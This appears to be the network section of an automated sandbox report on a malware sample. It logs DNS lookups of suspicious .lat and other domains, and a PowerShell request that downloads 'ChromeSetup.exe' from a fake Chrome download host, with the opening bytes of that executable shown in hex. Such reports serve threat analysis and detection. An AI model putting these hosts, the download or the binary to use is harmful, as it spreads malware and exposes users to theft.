Dec 29, 2024 14:16:14.162379026 CET	443	50012	142.250.181.65	192.168.2.5
Dec 29, 2024 14:16:14.162439108 CET	50012	443	192.168.2.5	142.250.181.65
Dec 29, 2024 14:16:14.162723064 CET	50012	443	192.168.2.5	142.250.181.65
Dec 29, 2024 14:16:14.162739992 CET	443	50012	142.250.181.65	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2024 14:15:31.534805059 CET	60418	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:15:31.864500999 CET	53	60418	1.1.1.1	192.168.2.5
Dec 29, 2024 14:15:32.222362041 CET	62304	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:15:32.455560923 CET	53	62304	1.1.1.1	192.168.2.5
Dec 29, 2024 14:15:32.460407019 CET	53803	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:15:32.681663036 CET	53	53803	1.1.1.1	192.168.2.5
Dec 29, 2024 14:15:32.684389114 CET	62224	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:15:32.912003994 CET	53	62224	1.1.1.1	192.168.2.5
Dec 29, 2024 14:15:32.916511059 CET	51068	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:15:33.241132975 CET	53	51068	1.1.1.1	192.168.2.5
Dec 29, 2024 14:15:33.290570974 CET	64634	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:15:33.522171021 CET	53	64634	1.1.1.1	192.168.2.5
Dec 29, 2024 14:15:33.525059938 CET	64650	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:15:33.759682894 CET	53	64650	1.1.1.1	192.168.2.5
Dec 29, 2024 14:15:33.762728930 CET	51225	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:15:33.992271900 CET	53	51225	1.1.1.1	192.168.2.5
Dec 29, 2024 14:15:33.995343924 CET	64530	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:15:34.543550014 CET	53	64530	1.1.1.1	192.168.2.5
Dec 29, 2024 14:15:34.547331095 CET	59569	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:15:34.688065052 CET	53	59569	1.1.1.1	192.168.2.5
Dec 29, 2024 14:15:37.268848896 CET	53713	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:15:37.548146009 CET	53	53713	1.1.1.1	192.168.2.5
Dec 29, 2024 14:15:57.358211040 CET	50740	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:15:57.358597994 CET	55317	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:15:57.497086048 CET	53	50740	1.1.1.1	192.168.2.5
Dec 29, 2024 14:15:57.565659046 CET	53	58221	1.1.1.1	192.168.2.5
Dec 29, 2024 14:15:57.583362103 CET	53	52760	1.1.1.1	192.168.2.5
Dec 29, 2024 14:15:57.613559961 CET	53	55317	1.1.1.1	192.168.2.5
Dec 29, 2024 14:15:59.814277887 CET	56245	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:15:59.814438105 CET	58905	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:15:59.953018904 CET	53	56245	1.1.1.1	192.168.2.5
Dec 29, 2024 14:15:59.954355001 CET	53	58905	1.1.1.1	192.168.2.5
Dec 29, 2024 14:16:00.382864952 CET	53	64463	1.1.1.1	192.168.2.5
Dec 29, 2024 14:16:01.934139013 CET	57592	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:16:01.934968948 CET	65401	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:16:02.076375008 CET	53	65401	1.1.1.1	192.168.2.5
Dec 29, 2024 14:16:02.080530882 CET	53	57592	1.1.1.1	192.168.2.5
Dec 29, 2024 14:16:05.876441002 CET	53	60885	1.1.1.1	192.168.2.5
Dec 29, 2024 14:16:06.817431927 CET	53	57677	1.1.1.1	192.168.2.5
Dec 29, 2024 14:16:09.930895090 CET	53	59188	1.1.1.1	192.168.2.5
Dec 29, 2024 14:16:10.248359919 CET	53	65010	1.1.1.1	192.168.2.5
Dec 29, 2024 14:16:10.420558929 CET	52987	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:16:10.420774937 CET	57387	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:16:10.424052954 CET	53	55368	1.1.1.1	192.168.2.5
Dec 29, 2024 14:16:10.559354067 CET	53	52987	1.1.1.1	192.168.2.5
Dec 29, 2024 14:16:10.559370995 CET	53	57387	1.1.1.1	192.168.2.5
Dec 29, 2024 14:16:10.690191984 CET	53	63339	1.1.1.1	192.168.2.5
Dec 29, 2024 14:16:13.856446981 CET	53	64304	1.1.1.1	192.168.2.5
Dec 29, 2024 14:16:14.023360968 CET	51781	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:16:14.023469925 CET	49480	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:16:14.160588026 CET	58403	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:16:14.160712957 CET	58278	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:16:14.161792040 CET	53	55519	1.1.1.1	192.168.2.5
Dec 29, 2024 14:16:14.161818027 CET	53	49480	1.1.1.1	192.168.2.5
Dec 29, 2024 14:16:14.161880016 CET	53	51781	1.1.1.1	192.168.2.5
Dec 29, 2024 14:16:14.298530102 CET	53	58403	1.1.1.1	192.168.2.5
Dec 29, 2024 14:16:14.300012112 CET	53	58278	1.1.1.1	192.168.2.5
Dec 29, 2024 14:16:15.374989033 CET	57157	53	192.168.2.5	1.1.1.1
Dec 29, 2024 14:16:15.514033079 CET	53	57157	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 29, 2024 14:15:57.613667011 CET	192.168.2.5	1.1.1.1	c21b	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 29, 2024 14:15:31.534805059 CET	192.168.2.5	1.1.1.1	0x6ee1	Standard query (0)	chrome-browser-download.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:32.222362041 CET	192.168.2.5	1.1.1.1	0x5dbd	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:32.460407019 CET	192.168.2.5	1.1.1.1	0xf405	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:32.684389114 CET	192.168.2.5	1.1.1.1	0xfcda	Standard query (0)	necklacebudi.lat	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:32.916511059 CET	192.168.2.5	1.1.1.1	0xb970	Standard query (0)	energyaffai.lat	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:33.290570974 CET	192.168.2.5	1.1.1.1	0x6721	Standard query (0)	aspecteirs.lat	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:33.525059938 CET	192.168.2.5	1.1.1.1	0x8850	Standard query (0)	sustainskelet.lat	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:33.762728930 CET	192.168.2.5	1.1.1.1	0x1fa5	Standard query (0)	crosshuaht.lat	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:33.995343924 CET	192.168.2.5	1.1.1.1	0xfc78	Standard query (0)	rapeflowwj.lat	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:34.547331095 CET	192.168.2.5	1.1.1.1	0x68d1	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:37.268848896 CET	192.168.2.5	1.1.1.1	0xe40a	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:57.358211040 CET	192.168.2.5	1.1.1.1	0xf251	Standard query (0)	support.google.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:57.358597994 CET	192.168.2.5	1.1.1.1	0x866f	Standard query (0)	support.google.com	65	IN (0x0001)	false
Dec 29, 2024 14:15:59.814277887 CET	192.168.2.5	1.1.1.1	0x938d	Standard query (0)	support.google.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:59.814438105 CET	192.168.2.5	1.1.1.1	0x7bc1	Standard query (0)	support.google.com	65	IN (0x0001)	false
Dec 29, 2024 14:16:01.934139013 CET	192.168.2.5	1.1.1.1	0xe34c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:16:01.934968948 CET	192.168.2.5	1.1.1.1	0x8282	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 29, 2024 14:16:10.420558929 CET	192.168.2.5	1.1.1.1	0x1dca	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:16:10.420774937 CET	192.168.2.5	1.1.1.1	0x346	Standard query (0)	play.google.com	65	IN (0x0001)	false
Dec 29, 2024 14:16:14.023360968 CET	192.168.2.5	1.1.1.1	0x8739	Standard query (0)	lh3.googleusercontent.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:16:14.023469925 CET	192.168.2.5	1.1.1.1	0x2d87	Standard query (0)	lh3.googleusercontent.com	65	IN (0x0001)	false
Dec 29, 2024 14:16:14.160588026 CET	192.168.2.5	1.1.1.1	0xa50a	Standard query (0)	support.google.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:16:14.160712957 CET	192.168.2.5	1.1.1.1	0xa7d1	Standard query (0)	support.google.com	65	IN (0x0001)	false
Dec 29, 2024 14:16:15.374989033 CET	192.168.2.5	1.1.1.1	0x4d80	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 29, 2024 14:15:31.864500999 CET	1.1.1.1	192.168.2.5	0x6ee1	No error (0)	chrome-browser-download.com		172.67.190.234	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:31.864500999 CET	1.1.1.1	192.168.2.5	0x6ee1	No error (0)	chrome-browser-download.com		104.21.81.206	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:32.455560923 CET	1.1.1.1	192.168.2.5	0x5dbd	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:32.681663036 CET	1.1.1.1	192.168.2.5	0xf405	Name error (3)	discokeyus.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:32.912003994 CET	1.1.1.1	192.168.2.5	0xfcda	Name error (3)	necklacebudi.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:33.241132975 CET	1.1.1.1	192.168.2.5	0xb970	Name error (3)	energyaffai.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:33.522171021 CET	1.1.1.1	192.168.2.5	0x6721	Name error (3)	aspecteirs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:33.759682894 CET	1.1.1.1	192.168.2.5	0x8850	Name error (3)	sustainskelet.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:33.992271900 CET	1.1.1.1	192.168.2.5	0x1fa5	Name error (3)	crosshuaht.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:34.543550014 CET	1.1.1.1	192.168.2.5	0xfc78	Name error (3)	rapeflowwj.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:34.688065052 CET	1.1.1.1	192.168.2.5	0x68d1	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:37.548146009 CET	1.1.1.1	192.168.2.5	0xe40a	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:37.548146009 CET	1.1.1.1	192.168.2.5	0xe40a	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:57.497086048 CET	1.1.1.1	192.168.2.5	0xf251	No error (0)	support.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:15:59.953018904 CET	1.1.1.1	192.168.2.5	0x938d	No error (0)	support.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:16:02.076375008 CET	1.1.1.1	192.168.2.5	0x8282	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 29, 2024 14:16:02.080530882 CET	1.1.1.1	192.168.2.5	0xe34c	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:16:10.559354067 CET	1.1.1.1	192.168.2.5	0x1dca	No error (0)	play.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:16:14.161818027 CET	1.1.1.1	192.168.2.5	0x2d87	No error (0)	lh3.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 14:16:14.161880016 CET	1.1.1.1	192.168.2.5	0x8739	No error (0)	lh3.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 14:16:14.161880016 CET	1.1.1.1	192.168.2.5	0x8739	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:16:14.298530102 CET	1.1.1.1	192.168.2.5	0xa50a	No error (0)	support.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:16:15.514033079 CET	1.1.1.1	192.168.2.5	0x4d80	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Dec 29, 2024 14:16:15.514033079 CET	1.1.1.1	192.168.2.5	0x4d80	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

chrome-browser-download.com

steamcommunity.com

lev-tolstoi.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49860	172.67.190.234	443	4124	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 13:15:33 UTC	187	OUT	GET /ChromeSetup.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: chrome-browser-download.com Connection: Keep-Alive
2024-12-29 13:15:33 UTC	985	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 13:15:33 GMT Content-Type: application/x-msdownload Content-Length: 10384768 Connection: close last-modified: Wed, 18 Dec 2024 14:51:10 GMT cache-control: public, max-age=31556952 strict-transport-security: max-age=63072000; includeSubDomains CF-Cache-Status: HIT Age: 148016 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K3b2xZlBouAItaUBsIl7h3qTFOFlyqChX%2BWXgPpkamYI8Of1a14J5X4wopWslEQohaToTfGmSTKyTHA57s92%2BkP%2BcWPNa%2F4T4P2VzrbQcFO7ASDCxgnMyTDUs3QSYJNA3jBVq3MGj6HvVzSv8wo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9a0f3dde0f7cf3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2039&min_rtt=2035&rtt_var=772&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2870&recv_bytes=801&delivery_rate=1408586&cwnd=218&unsent_bytes=0&cid=d9b19c11f81fc0a0&ts=462&x=0"
2024-12-29 13:15:33 UTC	384	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 7b 2a 32 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 54 34 00 00 d2 69 00 00 00 00 00 e0 e4 1b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 0a 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 00 f0 9f 00 00 04 00 00 f6 f7 9e 00 02 00 40 c1 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 3c bc 3d 00 55 00 00 00 94 bc 3d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL{*2g"T4i@@<=U=@
2024-12-29 13:15:33 UTC	1369	IN	Data Raw: 00 54 34 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 60 a3 09 00 00 70 34 00 00 a4 09 00 00 58 34 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 94 b6 01 00 00 20 3e 00 00 52 00 00 00 fc 3d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 75 01 00 00 00 e0 3f 00 00 02 00 00 00 4e 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 43 50 41 44 69 6e 66 6f 28 00 00 00 00 f0 3f 00 00 02 00 00 00 50 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 61 6c 6c 6f 63 5f 68 b9 00 00 00 00 00 40 00 00 02 00 00 00 52 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 00 48 5e 00 00 10 40 00 00 48 5e 00 00 54 3e 00 00 00 00 00 00 00 00 Data Ascii: T4 `.rdata`p4X4@@.data >R=@.tlsu?N>@CPADinfo(?P>@malloc_h@R> `.rsrcH^@H^T>
2024-12-29 13:15:33 UTC	1369	IN	Data Raw: 0f 38 dc d0 66 0f 38 dc d8 66 0f 38 dc e0 0f 10 44 0a f0 0f 85 d0 ff ff ff 66 0f 38 dc d1 66 0f 38 dc d9 66 0f 38 dc e1 66 0f 38 dd d0 66 0f 38 dd d8 66 0f 38 dd e0 c3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0f 10 02 c1 e1 04 0f 10 4a 10 0f 57 d0 66 0f ef d8 66 0f ef e0 0f 10 42 20 8d 54 0a 20 f7 d9 83 c1 10 66 0f 38 de d1 66 0f 38 de d9 66 0f 38 de e1 0f 10 0c 0a 83 c1 20 66 0f 38 de d0 66 0f 38 de d8 66 0f 38 de e0 0f 10 44 0a f0 0f 85 d0 ff ff ff 66 0f 38 de d1 66 0f 38 de d9 66 0f 38 de e1 66 0f 38 df d0 66 0f 38 df d8 66 0f 38 df e0 c3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0f 10 02 0f 10 4a 10 c1 e1 04 0f 57 d0 66 0f ef d8 66 0f ef e0 66 0f ef e8 0f 10 42 20 8d 54 0a 20 f7 d9 0f 1f 40 00 83 c1 10 66 0f 38 dc d1 66 0f 38 dc d9 66 0f 38 dc Data Ascii: 8f8f8Df8f8f8f8f8f8JWffB T f8f8f8 f8f8f8Df8f8f8f8f8f8JWfffB T @f8f8f8
2024-12-29 13:15:33 UTC	1369	IN	Data Raw: 6f 30 e9 8b 01 00 00 90 90 90 90 90 90 90 89 d5 89 cb 83 f8 60 0f 82 a2 00 00 00 f3 0f 6f 16 f3 0f 6f 5e 10 f3 0f 6f 66 20 f3 0f 6f 6e 30 f3 0f 6f 76 40 f3 0f 6f 7e 50 8d 76 60 83 e8 60 e9 45 00 00 00 90 90 90 90 90 90 90 90 90 90 90 0f 11 17 f3 0f 6f 16 0f 11 5f 10 f3 0f 6f 5e 10 0f 11 67 20 f3 0f 6f 66 20 0f 11 6f 30 f3 0f 6f 6e 30 0f 11 77 40 f3 0f 6f 76 40 0f 11 7f 50 8d 7f 60 f3 0f 6f 7e 50 8d 76 60 e8 e1 fc ff ff 89 ea 89 d9 83 e8 60 0f 83 b4 ff ff ff 0f 11 17 0f 11 5f 10 0f 11 67 20 0f 11 6f 30 0f 11 77 40 0f 11 7f 50 8d 7f 60 83 c0 60 0f 84 d5 00 00 00 0f 10 16 83 f8 20 0f 82 45 00 00 00 0f 10 5e 10 0f 84 6b 00 00 00 0f 10 66 20 83 f8 40 0f 82 7e 00 00 00 0f 10 6e 30 0f 84 94 00 00 00 0f 10 76 40 0f 57 ff e8 78 fc ff ff 0f 11 17 0f 11 5f 10 0f 11 Data Ascii: o0`oo^of on0ov@o~Pv``Eo_o^g of o0on0w@ov@P`o~Pv``_g o0w@P`` E^kf @~n0v@Wx_
2024-12-29 13:15:33 UTC	1369	IN	Data Raw: 38 00 c2 f3 0f 6f 32 66 0f 7f 4c 24 40 66 0f 38 00 ca 66 0f 70 d0 c0 66 0f 70 d8 80 83 f8 06 0f 82 35 01 00 00 66 0f ef fe c1 e1 04 bb 10 00 00 00 66 0f 7f 7c 24 20 89 d5 29 cb 8d 54 0a 20 83 e8 06 e9 0e 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 66 0f 70 e0 40 66 0f 6f 44 24 20 66 0f 70 e9 c0 66 0f ef d0 66 0f 70 f1 80 66 0f ef d8 66 0f 70 f9 40 0f 10 4d 10 66 0f ef e0 66 0f ef e8 66 0f 38 dc d1 66 0f ef f0 66 0f ef f8 66 0f 38 dc d9 0f 10 45 20 89 d9 66 0f 38 dc e1 66 0f 38 dc e9 66 0f 38 dc f1 66 0f 38 dc f9 e8 ef f6 ff ff 0f 10 0e 0f 10 46 10 0f 57 d1 0f 10 4e 20 0f 57 d8 0f 11 17 66 0f 6f 44 24 10 0f 57 e1 66 0f 6f 4c 24 40 0f 11 5f 10 0f 11 67 20 66 0f fe c8 66 0f fe 44 24 30 66 0f 6f 14 24 0f 10 5e 30 0f 10 66 40 0f 57 eb 0f 10 5e 50 8d 76 Data Ascii: 8o2fL$@f8fpfp5ff\|$ )T fp@foD$ fpffpffp@Mfff8fff8E f8f8f8f8FWN WfoD$WfoL$@_g ffD$0fo$^0f@W^Pv
2024-12-29 13:15:33 UTC	1369	IN	Data Raw: 66 0f d4 c9 66 0f db d3 66 0f 66 c1 66 0f ef ca 0f 84 36 01 00 00 66 0f 70 d0 13 66 0f ef c0 66 0f 6f f1 66 0f d4 c9 66 0f db d3 66 0f 66 c1 66 0f ef ca 83 f8 40 0f 82 50 01 00 00 66 0f 70 d0 13 66 0f ef c0 66 0f 6f f9 66 0f d4 c9 66 0f db d3 66 0f 66 c1 66 0f ef ca 66 0f 7f 2c 24 66 0f 7f 74 24 10 0f 84 62 01 00 00 66 0f 7f 7c 24 20 66 0f 70 f8 13 66 0f 7f 4c 24 30 66 0f d4 c9 66 0f db fb 66 0f ef f9 f3 0f 6f 16 f3 0f 6f 5e 10 f3 0f 6f 66 20 66 0f ef 14 24 f3 0f 6f 6e 30 66 0f ef 5c 24 10 f3 0f 6f 76 40 66 0f ef 64 24 20 8d 76 50 66 0f ef 6c 24 30 66 0f 7f 7c 24 40 66 0f ef f7 e8 14 f1 ff ff 0f 28 4c 24 40 0f 57 14 24 0f 57 5c 24 10 0f 57 64 24 20 0f 11 17 0f 57 6c 24 30 0f 11 5f 10 0f 57 f1 0f 11 67 20 0f 11 6f 30 0f 11 77 40 8d 7f 50 e9 4e 01 00 00 90 Data Ascii: fffff6fpffofffff@Pfpffoffffff,$ft$bf\|$ fpfL$0fffoo^of f$on0f\$ov@fd$ vPfl$0f\|$@f(L$@W$W\$Wd$ Wl$0_Wg o0w@PN
2024-12-29 13:15:33 UTC	1369	IN	Data Raw: 60 66 0f ef c0 66 0f d4 c9 66 0f db d3 66 0f 66 c1 66 0f ef ca 83 e8 60 0f 83 75 fe ff ff 8b 8d f0 00 00 00 89 ea 89 cb 83 c0 60 0f 84 42 02 00 00 66 0f 6f e9 83 f8 20 0f 82 15 01 00 00 66 0f 70 d0 13 66 0f ef c0 66 0f d4 c9 66 0f db d3 66 0f 66 c1 66 0f ef ca 0f 84 36 01 00 00 66 0f 70 d0 13 66 0f ef c0 66 0f 6f f1 66 0f d4 c9 66 0f db d3 66 0f 66 c1 66 0f ef ca 83 f8 40 0f 82 50 01 00 00 66 0f 70 d0 13 66 0f ef c0 66 0f 6f f9 66 0f d4 c9 66 0f db d3 66 0f 66 c1 66 0f ef ca 66 0f 7f 2c 24 66 0f 7f 74 24 10 0f 84 62 01 00 00 66 0f 7f 7c 24 20 66 0f 70 f8 13 66 0f 7f 4c 24 30 66 0f d4 c9 66 0f db fb 66 0f ef f9 f3 0f 6f 16 f3 0f 6f 5e 10 f3 0f 6f 66 20 66 0f ef 14 24 f3 0f 6f 6e 30 66 0f ef 5c 24 10 f3 0f 6f 76 40 66 0f ef 64 24 20 8d 76 50 66 0f ef 6c 24 Data Ascii: `ffffff`u`Bfo fpffffff6fpffofffff@Pfpffoffffff,$ft$bf\|$ fpfL$0fffoo^of f$on0f\$ov@fd$ vPfl$
2024-12-29 13:15:33 UTC	1369	IN	Data Raw: eb 83 f8 20 0f 86 c0 00 00 00 0f 10 66 20 83 f8 30 0f 86 e3 00 00 00 0f 10 6e 30 83 f8 40 0f 86 06 01 00 00 0f 10 76 40 0f 29 3c 24 0f 10 16 0f 57 ff e8 d3 e7 ff ff 0f 10 0e 0f 10 46 10 0f 57 14 24 0f 57 d9 0f 10 4e 20 0f 57 e0 0f 10 46 30 0f 57 e9 0f 10 7e 40 0f 57 f0 0f 11 17 0f 11 5f 10 66 0f ef db 0f 11 67 20 66 0f ef e4 0f 11 6f 30 66 0f ef ed 8d 7f 40 0f 28 d6 66 0f ef f6 83 e8 50 e9 03 01 00 00 90 90 90 0f 10 02 0f 10 4a 10 8d 52 20 0f 57 d0 66 0f 38 de d1 49 0f 10 0a 8d 52 10 0f 85 ee ff ff ff 66 0f 38 df d1 0f 57 d7 0f 28 fe 83 e8 10 e9 ce 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 e8 db e3 ff ff 0f 57 d7 0f 57 de 0f 11 17 0f 28 d3 66 0f ef db 8d 7f 10 0f 28 fd 83 e8 20 e9 9d 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 e8 8b e4 ff ff Data Ascii: f 0n0@v@)<$WFW$WN WF0W~@W_fg fo0f@(fPJR Wf8IRf8W(WW(f(
2024-12-29 13:15:33 UTC	1369	IN	Data Raw: 0f 6f d0 f3 0f 7f 42 f0 66 0f 38 00 c5 66 0f 38 dd c4 66 0f 72 f4 01 8d 52 10 66 0f 6f da 66 0f 73 fa 04 66 0f ef da 66 0f 73 fa 04 66 0f ef da 66 0f 73 fa 04 66 0f ef d3 66 0f ef c2 f3 0f 7f 42 f0 66 0f 6f d0 49 0f 85 bb ff ff ff 66 0f 6f 63 30 66 0f 38 00 c5 66 0f 38 dd c4 66 0f 72 f4 01 66 0f 6f da 66 0f 73 fa 04 66 0f ef da 66 0f 73 fa 04 66 0f ef da 66 0f 73 fa 04 66 0f ef d3 66 0f ef c2 f3 0f 7f 02 66 0f 6f d0 66 0f 38 00 c5 66 0f 38 dd c4 66 0f 6f da 66 0f 73 fa 04 66 0f ef da 66 0f 73 fa 04 66 0f ef da 66 0f 73 fa 04 66 0f ef d3 66 0f ef c2 f3 0f 7f 42 10 b9 09 00 00 00 89 4a 60 e9 40 01 00 00 90 90 90 90 90 90 f3 0f 7e 50 10 66 0f 6f 6b 10 66 0f 6f 63 20 b9 08 00 00 00 f3 0f 7f 42 f0 66 0f d6 12 66 0f 6f ca 66 0f 38 00 d5 66 0f 38 dd d4 66 0f 72 Data Ascii: oBf8f8frRfofsffsffsffBfoIfoc0f8f8frfofsffsffsfffof8f8fofsffsffsffBJ`@~Pfokfoc Bffof8f8fr
2024-12-29 13:15:33 UTC	1369	IN	Data Raw: c8 82 34 7e 6f 25 93 d9 00 d6 c9 1f ca 1c 03 d5 86 50 4f 99 4c 9a 85 53 e8 7b dc 4f 05 96 31 a2 87 14 b3 20 6a f9 5e cd 00 a7 d9 7e c8 6f 11 b6 fc 5b 25 82 34 93 ed 4a 00 33 14 27 62 51 76 45 ce fd da e9 ac 9f b8 8b 00 5f 54 0b 04 5b 50 0f 1a 45 4e 11 1e 41 4a 15 00 65 05 60 e6 83 e3 86 94 f1 91 f4 72 17 77 12 00 d6 86 9a 53 03 1c 85 c9 4c 99 4f 50 1f d5 ca 00 49 d7 ec 89 17 3b c0 65 a5 fb b2 9e 2c 5e 72 00 a2 b1 e6 df cc 57 7d 39 44 2a 88 13 9b 6e f5 00 cb c6 24 f7 fa e2 3c d3 ef de 15 0d 18 31 29 00 42 b4 96 92 64 22 d0 04 d4 f2 b0 f6 46 26 60 00 67 59 cd a6 98 94 c1 6b aa 55 32 3e 0c ff f3 00 d0 d4 26 96 92 f2 46 b0 f6 b4 64 04 60 42 22 00 c1 aa ff cd a6 55 0c 32 3e 59 98 6b f3 67 94 00 40 f9 7e 53 ea 87 13 2d 3e 94 d4 b9 6d aa c7 00 1d 44 93 0f 56 d7 Data Ascii: 4~o%POLS{O1 j^~o[%4J3'bQvE_T[PENAJe`rwSLOPI;e,^rW}9D*n$<1)Bd"F&`gYkU2>&Fd`B"U2>Ykg@~S->mDV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
